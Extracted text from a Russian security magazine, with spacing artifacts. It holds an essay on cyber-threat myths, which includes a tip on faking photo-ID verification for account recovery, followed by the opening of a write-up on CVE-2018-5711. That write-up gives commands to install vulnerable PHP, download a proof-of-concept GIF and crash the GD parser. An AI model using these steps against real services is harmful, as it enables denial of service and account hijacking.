тные методы защиты дан ных все рав но от них не спа сут. Отчасти такое отно‐ 
шение  фор миру ют  сами  ведомс тва,  но  IRL  их  воз можнос ти  тоже  далеко
не без гра нич ны. NSA, CIA,  FBI  и  дру гие  страш ные  трех буквен ные орга низа‐ 
ции сос тоят из рядовых сот рудни ков, которые, прос тите за рез кость, регуляр‐ 
но лажа ют.

Нап ример, NSA слу чай но уда лила  , а груп пиров‐ 
ка  Crackas  With  Attitude  в  2015–2016  годах  получи ла  дос туп  к  акка унтам
руково дите лей поч ти всех федераль ных ведомств США. Толь ко один ее пред‐ 
ста витель — Justin «D3F4ULT» Liverman лич но  ,
как  написа но  в  обви нитель ном  зак лючении:  «…дли тель но  тер роризи руя  их
и  их  семьи  раз гла шени ем  кон фиден циаль ной  информа ции,  получен ной
в резуль тате незакон ного дос тупа к онлай новым акка унтам потер певших».

раз веддан ные за семь лет

по имел дирек торов ФБР и ЦРУ

Это  не  Ливер ман  ока зал ся  силь нее  спец служб,  а  их  гла вы  нап левали
на эле мен тарные пра вила безопас ности, поль зуясь для работы пуб личны ми
сер висами (вро де AOL Mail), которые не ломал толь ко ленивый.

Еще быту ет мне ние, что шиф руй не шиф руй, а все рав но получишь… дос‐ 
туп. Конеч но, под пыт ками вспо мина ют даже те пароли, которые и не зна ли,
но  не  всег да  столь  гру бые  методы  дос тупны.  Прос то  пос мотри,  сколь ко
негодо вания  каж дый  раз  вызыва ет  у ФБР  оче ред ной  смар тфон  с фун кци ей
пол ного  шиф рования  дан ных.  К  при меру,  в  нояб ре  2017  года  на  доп росе
«техас ско го  стрел ка»,  убив шего 26  человек,    из‐за  того,
что он отка зал ся раз бло киро вать свой смар тфон.

следс твие зас тря ло

Как  же  быть  с  исто риями  о  взло ме?  Все  успешные  «взло мы»  пос ледних
смар тфо нов  дос тигались  кос венны ми  метода ми.  Нап ример,  через  бэкапы
облачных  копий,  авто риза цию  с  залоги нен ных  в  ту  же  учет ку  ноут буков…
или ста рым и сов сем недоб рым рек тотер маль ным крип тоана лизом.

Ког да  бэкапов  нет,  а  пытать  некого, ФБР  ищет  про фес сиональ ных  охот‐ 
ников за уяз вимос тями, пос коль ку само не рас полага ет дос таточ но ква лифи‐ 
циро ван ными кад рами. Нап ример, в 2016 году 

 за уяз вимость нулево го дня. Она поз волила вскрыть iPhone 5c, най‐ 
ден ный  у  лик видиро ван ного  в  ходе  спе цопе рации  тер рорис та  Сай еда  Риз‐ 
вана  Фарука.  Тог да  Apple  не  смог ла  (или  не  захоте ла)  помочь  заб рать ся
в айфон, а в новых моделях зак рыла эту уяз вимость.

бю ро зап латило 1,3 мил лиона
дол ларов

Ди рек тор  ФБР  Крис тофер  Рэй  заявил,  что  из‐за  шиф рования 
 поч ти с семи тысяч мобиль ных устрой ств, которые

изъ яло  у  подоз рева емых  в  2017  году.  Может,  шиф рование  и  не  панацея,
но  оно  точ но  усложня ет  задачу  сбо ра  доказа тель ств.  Прос то  не  все  крип‐ 
тосис темы оди нако во полез ны, а прин ципи аль ные отли чия в под ходах к шиф‐ 
рованию дан ных на смар тфо не  .

бю ро
не смог ло получить дан ные

опи саны здесь

КРАЖА И СТИРАНИЕ ЛИЧНОСТИ
По информа ции Javelin Strategy & Research, при мер но 6,15% взрос лых граж‐ 
дан США еже год но  ста новят ся жер твой  кра жи  пер сональ ных  дан ных. Прес‐ 
тупни ки совер шают сдел ки от их име ни, нанося финан совый и репута цион ный
ущерб. Чаще все го они незакон но офор мля ют кре диты и опла чива ют раз вле‐ 
катель ные услу ги по чужой кре дит ке, но этим спи сок не огра ничи вает ся.

К  при меру,  теоре тичес ки  воз можно    —  уда ление
информа ции  о  челове ке  на  всех  элек трон ных  ресур сах.  Если  база  дан ных
цен тра лизо ван ная,  то  речь  идет  об  одной  успешной  ата ке.  Если  же  это  БД
в отдель ных ведомс твах, каж дое из которых ведет свой реестр, то слож ность
ата ки  мно гок ратно  воз раста ет.  Поэто му  самый  эффектив ный  спо соб  сти‐ 
рания лич ности на сегод ня не  тех ничес кий,  а бюрок ратичес кий. Дос таточ но
инсце ниро вать  смерть  или  «удач но»  ока зать ся  в  спис ках  без  вес ти  про пав‐ 
ших,  как  бюрок ратичес кая машина  сама  перемес тит  все  записи о  челове ке
в архив. Они не уда лят ся, а прос то перес танут быть акту аль ными и поз волят
начать жизнь с чис того лис та… или же вынудят дол го оби вать пороги, доказы‐ 
вая, что ты живой.

стирание  личности

Дру гая  раз новид ность  такой  ата ки  называ ется  .  Она
зак люча ется в том, что во всех онлай новых базах дан ных, до которых смог ли
дотянуть ся  зло умыш ленни ки,  све дения  о  каком‐то  челове ке  под меня ются
запися ми  о  дру гом.  Пос ле  это го  он  смо жет  дей ство вать  от  име ни  жер твы
и докумен таль но под тверждать пра вомер ность сво их дей ствий. Самая час тая
ситу ация — угон акка унтов в соц сетях. Боль шинс тво из них допус кают вос ста‐ 
нов ление  пароля  при  обра щении  в  тех поддер жку,  которая  про сит  прис лать
фотог рафию  с  раз воротом  пас порта  или  водитель ским  удос товере нием
в руках. Мас тера фотошо па и hex‐редак тора успешно обхо дят такую верифи‐ 
кацию, если наряду с фотог рафи ей заменя ют в дже пеге метадан ные, уда ляя
стро ки   из EXIF.

подмена  личности

Adobe Photoshop

SCADA
Все  тех нологи чес кие  про цес сы  сегод ня  авто мати зиро ваны  и  час то  име ют
уда лен ное управле ние. Что будет, если его взло мают? В 2001 году Эрик Бай‐ 
рес,  Джас тин  Лоу  и Дэвид Левер саж  ста ли  вес ти  базу  инци ден тов  в  сфе ре
про мыш ленной безопас ности ISID, а с 2014 года она  .дос тупна онлайн

Пер вым зарегис три рован ным в ней инци ден том стал хрес томатий ный слу‐ 
чай, отно сящий ся к эпо хе холод ной вой ны.

Стар ший  сот рудник  Агентства  наци ональ ной  безопас ности  США  Томас
Рид в сво ей кни ге At  the Abyss утвер жда ет, что в начале вось мидеся тых АНБ
допус тило кон тро лиру емую утеч ку ПО для управле ния насоса ми. Софт содер‐ 
жал  тро ян,  который  акти виро вал ся  в  июне  1982  года  во  вре мя  испы таний
Тран сси бир ско го  газоп ровода.  Он  удво ил  дав ление  газа  и  при вел  к  раз‐ 
рушению  свар ных  швов,  сор вав  пос тавки  газа  и  выз вав  мощ ный  пси холо‐ 
гичес кий  эффект.  Совет ская  сто рона  не  отри цает  сам  взрыв,  но  исклю чает
его вза имос вязь с тро яном. «То, что написа ли аме рикан цы, — это мусор», —
ска зал Василий Пче лин цев, воз глав лявший в 1982 году отдел КГБ в Тюмен‐ 
ской области.

По доб ные исто рии всег да вызыва ют про тиво речи вую реак цию, пос коль ку
одна сто рона может прис воить себе мни мый успех, а дру гая — скры вать про‐ 
валы. Широкой  общес твен ности  выбороч но  предъ явля ются  доказа тель ства
раз ных  вер сий,  но  никог да  не  откры вает ся  пол ная  кар тина —  это  обыч ная
манипу ляция тол пой. Факт в том, что фак ты мож но получить толь ко из тех рас‐ 
сле дова ний инци ден тов, которые изна чаль но велись откры то.

Нап ример,  в  2012  году  в  США  про изош ла  серия  «веер ных  отклю чений»
элек тро энер гии, при чиной которых ста ли раз личные наруше ния в сфе ре про‐ 
мыш ленной безопас ности. Все началось с того, что работав ший на аут сорсе
тех ник при нес на флеш ке вирус Mariposa. Вирус не был спе циаль но написан
для пор чи обо рудо вания, как это было с тро яном Stuxnet. Речь о баналь ном
раз гиль дяйстве.  Тех ник  нап левал  на  дол жностные  инс трук ции  и  под клю чил
заражен ную  флеш ку  нап рямую  к  управля юще му  компь юте ру.  Он  попытал ся
ско пиро вать с нее нас трой ки, тем самым выз вав рас простра нение инфекции.
В тот же день как минимум десять дру гих компь юте ров сис темы управле ния
тур бинами  на  раз ных  элек трос танци ях США ока зались  зараже ны. Их  приш‐ 
лось  оста новить,  а  переза пуск,  рас сле дова ние  и  воз врат  к  пла новой  мощ‐ 
ности пот ребова ли три недели.

Ес ли сам вирус в про мыш ленных сис темах отло вить срав нитель но прос то,
то  пол ностью  устра нить  пос ледс твия  инфи циро вания  зачас тую  не  уда ется.
Это  не  домаш ний  компь ютер,  который  мож но  вык лючить  в  любой  момент,
пол ностью  очис тить  накопи тель  и  пере уста новить ОС. Энер гетичес кая  сеть
сос тоит из сотен вза имос вязан ных узлов, работа ющих круг лосуточ но. Поэто‐ 
му проб лемы на одних узлах  так или ина че зат рагива ют дру гие. Поз же один
из двух ядер ных реак торов на АЭС «Сас куэхан на» был отклю чен опе рато рами
вруч ную, потому что компь ютер ная сис тема кон тро ля уров ня воды ста ла сбо‐ 
ить и воз ник риск перег рева активной зоны.

Ата ки на SCADA зат рагива ют пре иму щес твен но про мыш ленные сис темы.
Если уда ется пре дот вра тить ава рию, они ред ко ста новят ся дос тоянием глас‐ 
ности. Одна ко  некото рые  из  них  нап равле ны  на  город скую  инфраструк туру,
где даже мел кие шалос ти могут быть очень замет ными.

В  том  же  2012  году  был    о  мно жес твен ных  уяз‐ 
вимос тях  в  популяр ной плат форме Tridium Niagara AX. Она объ еди няет  сис‐ 
темы охра ны,  управле ния отоп лени ем, вен тиляци ей и  кон дици они рова нием,
лиф тами,  осве щени ем  и  пожар ной  безопас ностью  зда ний,  пре дос тавляя
к  ним  еди ный  дос туп  через  веб‐интерфейс.  Прос то  иде аль ная  цель
для кул‐хац керов и скрипт‐кид ди.

опуб ликован  бюл летень

Пос ле  того  как  опуб ликова ли  детали  уяз вимос ти,  в  Нью‐Джер си  были
зарегис три рова ны мно жес твен ные  слу чаи  взло ма  Tridium Niagara  AX. Поз же
кто‐то  написал  удоб ный  бэк дор,  и  десят ки  кул‐хац керов  ста ли  напере бой
раз вле кать ся с нас трой ками раз ных зда ний. Все го в мире было про дано свы‐ 
ше 300 тысяч лицен зий на Tridium Niagara AX. Сер вис Shodan под ска зыва ет,
что мно гие кли енты до сих пор не уста нови ли пат чи.

Еще  одна  чувс тви тель ная  отрасль  —  управле ние  тран спор том.
В  2013  году  вся  компь ютер ная  сеть  Депар тамен та  авто мобиль ных  дорог
окру га  Кук  была  зак рыта  поч ти  на  две  недели  из‐за  вирус ного  инци ден та.
Неиз вес тный  злов ред  ата ковал  око ло  двух сот  компь юте ров.  Для  его  лик‐ 
видации  пот ребова лось  пять  тех ников  и  девять  суток  неп рерыв ной  работы.
Механизм про ник новения в сеть оста ется неиз вес тным. По основной вер сии
пред полага ется целенап равлен ная ата ка.

В  2014  году  стран ный  сбой  в  прог рамме  управле ния  самоле том‐раз‐ 
ведчи ком U‐2 при вел к дли тель ной задер жке нес коль ких сотен рей сов в меж‐ 
дународ ном аэро пор ту Мак‐Кар ран в Лас‐Вегасе. Отдель ные источни ки свя‐ 
зыва ют  это  с  деятель ностью  хакер ской  груп пы Dragonfly,  чьи  ата ки  пре иму‐ 
щес твен но  нацеле ны  на  под рядчи ков  DARPA  и  ави аком пании  США.  Офи‐ 
циаль ных ком мента риев на этот счет так же не пос тупало.

ТОРГОВЛЯ СТРАХОМ
Ба за ISID перес тала обновлять ся в янва ре 2015 года. Все мень ше ком паний
готовы рас ска зать о слу чав шихся у них инци ден тах, пос коль ку боят ся рис ков
для  деловой  репута ции.  Иног да  такие  сооб щения  про сачи вают ся  в  прес су
от «доверен ных источни ков» или даже обре тают лицо, но ред ко находят офи‐ 
циаль ные под твержде ния. Здесь откры вает ся широкий прос тор для зло упот‐ 
ребле ний и тор говли стра хами.

Нап ример,  у  American  Banker  недав но    к  осно вате лю
ком пании  Groub  IB  Илье  Сач кову.  По  сло вам  изда ния,  ни  меж дународ ная
неком мерчес кая  орга низа ция  FS‐ISAC,  ни  под разде ление Цен тро бан ка  Fin‐
CERT не находят под твержде ния его сло вам о хакер ской груп пиров ке Money
Taker,  яко бы  дав но  дей ству ющей  и  уже  укравшей  свы ше  десяти  мил лионов
дол ларов  из  рос сий ских  и  аме рикан ских  бан ков.  Ана лити чес кое  агентство
Gartner тоже ста вит под сом нение заяв ления Ильи. «FS‐ISAC прос то не может
не  узнать о  нападе нии  на шес тнад цать бан ков», — ска зала  вице‐пре зидент
Gartner Ави ва Литан.

воз никли  воп росы

Ко неч но,  финан совые  орга низа ции  оста ются  одной  из  самых  лакомых
целей. Взло мать их не так уж слож но, а вот сде лать это незамет но и вос поль‐ 
зовать ся  укра ден ными  день гами  без  пос ледс твий  —  на  гра ни  фан тасти ки.
Про токо лиру ется  каж дая  тран закция,  вид ны  все  переме щения  денеж ных
средств,  пос тоян но  генери руют ся  свер ки  и  авто мати чес кие  отче ты.
Для  успешной  кра жи  пот ребу ется  помощь  инсай дера  (и  не  одно го),  но  это
уже проб лема доверия собс твен ным людям, а не тех нике.

Ан тивиру сы как кей лог геры, анти виру сы как…бот неты?
Ос новная доля про дав цов стра шилок при ходит ся на псев доан тивиру сы. Они
выпол няют  бес плат ное  «ска ниро вание»  (час то  —  онлайн),  яко бы  что‐то
находят,  а  затем  пред лага ют  уда лить  это  за  день ги.  Имен но  пугачи  пор тят
репута цию нас тоящим анти виру сам. Впро чем, нас тоящие все мень ше отли‐ 
чают ся от фей ковых.

Год назад мы про тес тирова ли   и замети‐ 
ли,  что  они  все  боль ше  напоми нают  scareware.  Запуги вание  поль зовате ля
начина ется еще во вре мя уста нов ки, а затем анти вирус дос тает уве дом лени‐ 
ями  до  тех  пор,  пока  ты  не  купишь  плат ную  вер сию  и  не  раз решишь  ему
делать что угод но на сво ем компь юте ре (или не уда лишь его). Такая так тика
агрессив ного  прод вижения  под рыва ет  доверие  ко  всем  про изво дите лям
защит ного ПО, зат рагивая даже лидеров рын ка.

де сят ки бес плат ных анти виру сов

Скан дал с зап ретом исполь зования про дук тов ЗАО «Лабора тория Кас пер‐ 
ско го» в США до сих пор не ути хает, но   мож но предъ‐ 
явить  любому  раз работ чику  анти виру сов.  Все  они  содер жат  средс тва
облачной  про вер ки  и  отправ ляют  на  свои  сер веры  любые  фай лы,  которые
соч тут  подоз ритель ными.  По  заяв лени ям  про изво дите лей,  все  про исхо дит
в авто мати чес ком режиме и обез личива ется, а сама тех нология неп ригод на
для  сбо ра  информа ции  с  опре делен ных  компь юте ров.  Одна ко  обратная
задача (най ти источник рас простра нения какого‐то злов реда или уста новить
при над лежность фай ла кон крет ному компь юте ру) в целом  .

выд винутые обви нения

ре шаема
Дру гая проб лема сос тоит в том, что ошиб ки в любом популяр ном ПО час‐ 

то исполь зуют ся для выпол нения атак, и анти виру сы здесь — одна из глав ных
целей. Нап ример,  в Bitdefender  Internet  Security  2018 была обна руже на 

,  поз воля ющая  уда лен но  выпол нять  про изволь ный  код.  Не  луч ше
обсто ят дела у  ,   и мно гих дру гих.

уяз‐ 
вимость

Avast AVG
Сов ремен ные  анти виру сы  глу боко  интегри руют ся  в  сис тему,  и  порой

это соз дает боль ше проб лем, чем реша ет. Они уста нав лива ют собс твен ные
служ бы  (в  которых  могут  содер жать ся  ошиб ки),  перех ватыва ют  сис темные
вызовы (нарушая работу дру гих прог рамм), сло вом — име ют слиш ком мно го
прав  и  тех ничес ки  спо соб ны  выпол нять  любые  дей ствия  без  ведома  поль‐ 
зовате ля.

Еще  нас торажи вают  модули  анти виру сов  вро де  «безопас ных  пла тежей».
Ты  заходишь  на  сайт  бан ка  с  бра узер ным  рас ширени ем  анти виру са  и  вво‐ 
дишь дан ные на его «защищен ной от кей лог геров» экранной кла виату ре. Все
это  вро де бы  как идет  по HTTPS,  но анти виру су же надо про верять  зашиф‐ 
рован ный  тра фик,  поэто му  он  дав но  уста новил  собс твен ный  сер тификат
для его рас шифров ки. Круг зам кнул ся...

Все осталь ные иден тифика цион ные дан ные уже есть у анти вирус ной ком‐ 
пании — ты сам их ука зал при регис тра ции. Поэто му чис то тех ничес ки нич то
не  меша ет  манипу лиро вать  тво ими  сче тами,  спи сывая  все  на  про дел ки
хакеров. Дру гое дело, что репута ция ком пании сто ит дороже и вряд ли такое
про исхо дит в реаль нос ти. Во вся ком слу чае, нам о таких фак тах неиз вес тно.

Шпи онские фун кции ОС
Об сужде нию  сле дящей  активнос ти  Windows  10  была  пос вящена  не  одна
статья,  и  здесь  дела  обсто ят  при мер но  так  же,  как  с  анти виру сами.  Теоре‐ 
тичес ки  воз можнос тей  шпи онить  за  любым  поль зовате лем  пре дос таточ но.
Реали зова ны ли они фак тичес ки — труд но ска зать навер няка. В наших изыс‐ 
кани ях нам пока не уда лось пой мать опе раци онку на кра же дан ных. Да, она
отсы лает кучу ста тис тичес кой информа ции, которая навер няка исполь зует ся
для  пер сонали зиро ван ной  рек ламы  и  поз воля ет  соз дать  «циф ровой  отпе‐ 
чаток»,  иден тифици руя  устрой ство  и  поль зовате ля  уже без  явной  авто риза‐ 
ции. Да, исхо дящий тра фик прос то огромный и не весь лег ко ана лизи рует ся,
но  чего‐то  однознач но  кри миналь ного  в  исхо дящих  пакетах  пока  не  обна‐ 
ружи лось. Все отсы лает ся на сер веры Microsoft и пар тне ров в соот ветс твии
с лицен зион ным сог лашени ем, под писывая которое ты фак тичес ки сам раз‐ 
реша ешь сле дить за собой.

ВЫВОДЫ
Тех ничес ки  хакеры  огра ниче ны  сте пенью  сво ей  осве дом леннос ти  о  внут‐ 
реннем  устрой стве  выб ранной  цели.  Час то  реаль ная  цель  име ет  какие‐то
осо бен ности,  которые  не  учи тыва лись  в  сце нарии  ата ки.  Поэто му  обыч но
про ще взло мать челове ка, чем уда лен ный компь ютер. Ник то не будет тра тить
ресур сы на деталь ную про работ ку APT для Васи. Он прос то попадет на раз‐ 
дачу  для  лохов,  где  его  обма ном  зас тавят  выпол нить  тре буемые  дей ствия:
«отклю чить анти вирус, фай рвол и запус тить от адми на».

Фи нан сово хакеры огра ниче ны сла бо, пос коль ку час то дей ству ют в инте‐ 
ресах  прес тупных  груп пировок  или  спец служб,  но  пос ледние  тоже  не  все‐ 
силь ны. Есть смысл исполь зовать шиф рование и соб людать общие пра вила
безопас ности. При этом сто ит пом нить, что защит ный софт может содер жать
уяз вимос ти и час то сам ста новит ся средс твом про ник новения на компь юте ры
жер твы. Как минимум его надо регуляр но обновлять и про верять нас трой ки.

Взлом SCADA может выз вать локаль ные сбои, но хакеры ока зыва ются пос‐ 
ледней  угро зой  в  спис ке  реаль но  зна чимых  фак торов  про мыш ленной
безопас ности.  Воз глав ляют  же  его  тра дици онно  «челове чес кий  фак тор»
и «износ тех нологи чес ких узлов».

Ки бер вой ны вряд ли вызовут потоп из‐за сбоя на ГЭС и взрыв реак тора
АЭС. Если бы это было воз можно, то индус три аль ный апо калип сис уже дав‐ 
но бы нас тупил. Это  кажет ся  так  дешево и  эффектив но —  устро ить  про тив‐ 
нику тоталь ный блэ каут и зах ватить парали зован ную стра ну! Одна ко пока при‐ 
ходит ся тра тить уйму средств на под куп дол жностных лиц и цвет ные револю‐ 
ции,  вновь  пред почитая  соци аль ный  инжи ниринг  тех ничес ки  прод винутым
ата кам.

На клю чевых объ ектах инфраструк туры реали зован мно гос тупен чатый кон‐ 
троль сос тояния кри тичес ких узлов и монито ринг живыми людь ми. К тому же
любое  опас ное  изме нение  занима ет  вре мя:  насос мгно вен но  не  про кача ет
тон ны воды, а реак тор не перег реет ся за секун ды. В боль шинс тве ситу аций
опе ратор успе ет заметить откло нения и вме шать ся (что‐то на АЭС в Бушере
во вре мя ата ки Stuxnet они не успе ли вме шать ся. ;) — Прим. ред.), да и любая
важ ная сис тема изна чаль но про екти рует ся так, что бы в ней не было еди ной
точ ки  отка за.  Есть  пла чев ный  опыт  «Чер нобыля»  и  «Фукуси мы»,  но  хакеры
никак с ним не свя заны.

В  общес тве  есть  механиз мы  про тиво дей ствия  киберуг розам,  не  свя зан‐ 
ные с кон тро лем над тех никой. Бумаж ные докумен ты все еще име ют при ори‐ 
тет  над  элек трон ными.  Под менен ные  записи  во  взло ман ной  базе  дан ных
прос то  заменят  информа цией  с  ори гиналь ных  блан ков.  Прав да,  при дет ся
побегать  и  вспом нить  глав ное  изоб ретение  Совет ско го  Союза —  оче реди.
Бан ков ские  тран закции  не  выпол няют ся  мгно вен но  —  их  мож но  отме нить
при  сво евре мен ном  обра щении,  да  и  налич ные  кра дут  чаще,  чем  день ги
с кар точек. Уда лен но вывес ти из строя про мыш ленный объ ект помеша ет опе‐ 
ратор  и  авто ном ные  ава рий ные  сис темы.  Ави алай нер  не  уле тит  в  дру гую
стра ну из‐за под мены коор динат GPS — его курс скор ректи рует дис петчер,
ну и пилоты сами не сле пые.

Что до тай ны лич ной жиз ни, то на нее по боль шому сче ту теперь всем нап‐ 
левать. Да‐да, имен но «нап левать». Сам посуди, ведь еще нес коль ко десят‐ 
ков лет назад те пуб личные уни жения,  которые извес тные люди испы тыва ют
во  вре мя  скан далов  со  сли вом  интимных  фотог рафий,  мог ли  закон чить ся
отстав кой  («человек,  похожий  на  генераль ного  про куро ра»),  убий ством
или само убий ством. А что теперь? А теперь — «без ком мента риев».
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ВЗЛОМ

Все любят забав ные гиф ки, но осо бый юмор — это повесить
сер вер  на  PHP  при  помощи  спе циаль но  сфор мирован ного
фай ла  GIF.  Успешная  экс плу ата ция  бага,  который  мы  раз‐ 
берем, при водит про цесс в сос тояние бес конеч ного цик ла.
Соз дав  мно жес тво  таких  про цес сов,  ата кующий  исчерпа ет
ресур сы  сис темы.  Жер твой  может  стать  любой  сер вис,
который  про изво дит  манипу ляции  с  кар тинка ми,  написан
на PHP и исполь зует биб лиоте ку gd или libgd.

Уяз вимость  получи ла  иден тифика тор  ,  а  обна ружил  ее  иссле‐ 
дова тель  Orange  Tsai  ( )  из  тай вань ской  ком пании  Devcore.
О деталях он написал в сво ем бло ге.

CVE‐2018‐5711
@orange_8361

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ГОТОВИМСЯ К ЭКСПЛУАТАЦИИ
Глав ное,  что  нам понадо бит ся,  что бы испы тать баг, — это  уяз вимая  вер сия
PHP. Их у нас целый пучок:

PHP 5 < 5.6.33,•
PHP 7.0 < 7.0.27,•
PHP 7.1 < 7.1.13,•
PHP 7.2 < 7.2.1.•

Вы бирай любую, как говорит ся. Если хочешь кон тро лиро вать про цесс экс плу‐ 
ата ции  и  рас смот реть  уяз вимость  поб лиже,  то  тебе  понадо бит ся  вер сия,
которая  содер жит  допол нитель ную  отла доч ную  информа цию  (dbg‐вер сия).
Боль шинс тво  дис три бути вов  Linux  поз воля ют  уста новить  dbg‐вер сию
с помощью пакет ного менед жера. Я буду исполь зовать Debian 8 в кон тей нере
Docker.

docker run ‐‐rm ‐ti ‐‐cap‐add=SYS_PTRACE ‐‐security‐opt seccomp=
unconfined ‐‐name=phpgd ‐‐hostname=phpgd debian:jessie‐20171210 /bin/
bash
apt‐get update

В  моем  слу чае  в  репози тории  име лись  две  вер сии  дис три бути ва:
5.6.33 и 5.6.30.

apt‐cache policy php5‐dbg

Раз личные вер сии PHP в дис три бути ве Debian

Вер сия PHP 5.6.30 точ но уяз вима, поэто му ее и уста новим.

apt‐get install ‐y php5‐dbg=5.6.30+dfsg‐0+deb8u1 \
       php5‐common=5.6.30+dfsg‐0+deb8u1 \
       libapache2‐mod‐php5=5.6.30+dfsg‐0+deb8u1 \
       php5‐cgi=5.6.30+dfsg‐0+deb8u1 \
       php5‐cli=5.6.30+dfsg‐0+deb8u1 \
       php5‐fpm=5.6.30+dfsg‐0+deb8u1 \
       libphp5‐embed=5.6.30+dfsg‐0+deb8u1 \
       php5‐curl=5.6.30+dfsg‐0+deb8u1 \
       php5‐enchant=5.6.30+dfsg‐0+deb8u1 \
       php5‐gd=5.6.30+dfsg‐0+deb8u1 \
       php5‐gmp=5.6.30+dfsg‐0+deb8u1 \
       php5‐imap=5.6.30+dfsg‐0+deb8u1 \
       php5‐interbase=5.6.30+dfsg‐0+deb8u1 \
       php5‐intl=5.6.30+dfsg‐0+deb8u1 \
       php5‐ldap=5.6.30+dfsg‐0+deb8u1 \
       php5‐mcrypt=5.6.30+dfsg‐0+deb8u1 \
       php5‐readline=5.6.30+dfsg‐0+deb8u1 \
       php5‐mysql=5.6.30+dfsg‐0+deb8u1 \
       php5‐odbc=5.6.30+dfsg‐0+deb8u1 \
       php5‐pgsql=5.6.30+dfsg‐0+deb8u1 \
       php5‐pspell=5.6.30+dfsg‐0+deb8u1 \
       php5‐recode=5.6.30+dfsg‐0+deb8u1 \
       php5‐snmp=5.6.30+dfsg‐0+deb8u1 \
       php5‐sqlite=5.6.30+dfsg‐0+deb8u1 \
       php5‐sybase=5.6.30+dfsg‐0+deb8u1 \
       php5‐tidy=5.6.30+dfsg‐0+deb8u1 \
       php5‐xmlrpc=5.6.30+dfsg‐0+deb8u1 \
       php5‐xsl=5.6.30+dfsg‐0+deb8u1 \
       curl vim nano

Ус танов ленная уяз вимая вер сия PHP 5.6.30

Та кая  огромная  пор тянка  получи лась,  потому  что  дис три бутив  отка зывал ся
уста нав ливать ся, ссы лаясь на то, что я пыта юсь уста новить вер сию PHP ниже,
чем вер сии его зависи мос тей. Это показа лось мне самым прос тым решени‐ 
ем, не исклю чено, что есть и более эле ган тный спо соб.

Воз можно,  на  тот момент,  ког да  ты  будешь  читать  эту  статью,  в  репози‐ 
тори ях  появят ся  про пат ченные  вер сии  дис три бути ва.  Тог да  ничего  не  оста‐ 
нет ся, кро ме как ском пилиро вать PHP из исходни ков вруч ную. Для это го мож‐ 
но  вос поль зовать ся  тем  же  кон тей нером,  толь ко  теперь  нуж но  уста новить
сре ду для ком пиляции и все необ ходимые зависи мос ти.

apt‐get install ‐y build‐essential git autoconf automake libtool 
re2c bison libxml2‐dev libgd‐dev curl vim nano gdb

Для раз нооб разия теперь возь мем вер сию 7.0.26.

git clone ‐‐branch PHP‐7.0.26 ‐‐depth 1 https://github.com/php/
php‐src.git

Ос талось толь ко скон фигури ровать. По сути, из рас ширений нам нужен толь‐ 
ко gd.

cd php‐src
./buildconf ‐‐force
./configure ‐‐with‐gd ‐‐enable‐debug

Ну а затем стан дар тное:

make
make install

Све жес компи лиро ван ная уяз вимая вер сия PHP

УЯЗВИМОСТЬ
Пер вым делом ска чаем экс пло ит — это спе циаль но сфор мирован ная гиф ка,
которая и вызыва ет проб лемы у пар сера.

curl ‐L https://git.io/vN0n4 | xxd ‐r > poc.gif

Уяз вимы фун кции    и  ,  которые
в  качес тве парамет ров при нима ют GIF:  пер вая  в  виде фай ла,  вто рая  в  виде
стро ки. Поэто му про верить работос пособ ность PoC мож но сле дующим обра‐ 
зом:

imagecreatefromgif imagecreatefromstring

php ‐r 'imagecreatefromgif("poc.gif");'

Пос мотрим, как работа ет эта уяз вимость. Нас инте ресу ет цикл   из фун‐ 
кции  , что находит ся в фай ле  .

while
LWZReadByte_ gd_gif_in.c

/ext/gd/libgd/gd_gif_in.c
430: static int
431: LWZReadByte_(gdIOCtx *fd, LZW_STATIC_DATA *sd, char flag, int 
input_code_size, int *ZeroDataBlockP)
432: {
...
461:            GetCode(fd, &sd‐>scd, sd‐>code_size, FALSE, ZeroDa
taBlockP);

Во вре мя его выпол нения вызыва ется фун кция  , это прос тая обер тка
над   из того же фай ла.

GetCode
GetCode_

gd_gif_in.c
419: static int
420: GetCode(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int 
flag, int *ZeroDataBlockP)
421: {
422:    int rv;
423: 
424:  rv = GetCode_(fd, scd, code_size,flag, ZeroDataBlockP);
425:  if (VERBOSE) printf("[GetCode(,%d,%d) returning %d]\n",code_s
ize,flag,rv);
426:    return(rv);
427: }

gd_gif_in.c
374: static int
375: GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int 
flag, int *ZeroDataBlockP)
376: {
377:    int           i, j, ret;
378:    unsigned char count;
...
398:         if ((count = GetDataBlock(fd, &scd‐>buf[2], ZeroDa
taBlockP)) <= 0)
399:            scd‐>done = TRUE;
...
404:    }

Об рати  вни мание  на  фун кцию    (стро ка  398).  Это  тоже  обер‐ 
тка — над  , которая как раз чита ет бло ки дан ных из передан‐ 
ного в биб лиоте ку фай ла GIF.

GetDataBlock
GetDataBlock_

gd_gif_in.c
350: static int
351: GetDataBlock(gdIOCtx *fd, unsigned char *buf, int *ZeroDa
taBlockP)
352: {
353:    int rv;
354:    int i;
355: 
356:    rv = GetDataBlock_(fd,buf, ZeroDataBlockP);
...
370:    return(rv);
371: }

gd_gif_in.c
331: static int
332: GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDa
taBlockP)
333: {
334:    unsigned char   count;
335: 
336:    if (! ReadOK(fd,&count,1)) {
337:        return ‐1;
338:    }
339: 
340:    *ZeroDataBlockP = count == 0;
341: 
342:    if ((count != 0) && (! ReadOK(fd, buf, count))) {
343:        return ‐1;
344:    }
345: 
346:    return count;
347: }

От ладка фун кции GetDataBlock_

Фун кция воз вра щает раз мер про читан ных дан ных в виде перемен ной  ,
а ког да доходит до кон ца фай ла, то воз вра щает  . Что бы выпол нение цик ла
чте ния закон чилось, перемен ная   дол жна при нять зна чение  .

count
‐1

scd‐>done true

gd_gif_in.c
389:        if (scd‐>done) {
390:            if (scd‐>curbit >= scd‐>lastbit) {
391:                /* Oh well */
392:            }
393:            return ‐1;
394:        }

А для это го дол жно выпол нять ся неравенс тво  .count <= 0

gd_gif_in.c
398:         if ((count = GetDataBlock(fd, &scd‐>buf[2], ZeroDa
taBlockP)) <= 0)
399:            scd‐>done = TRUE;

Толь ко  вот  тип  перемен ной    —  ,  а  это  зна чит,  что
перемен ная  при нима ет  толь ко  одно бай товые  положи тель ные  зна чения
(диапа зон от 0 до 255) и быть мень ше нуля никак не может. Имен но поэто му
одна  часть  усло вия    (стро ка  398  из  )  никог да
не будет выпол нена. Вто рую часть ( ) тоже нет рудно обой ти, ведь
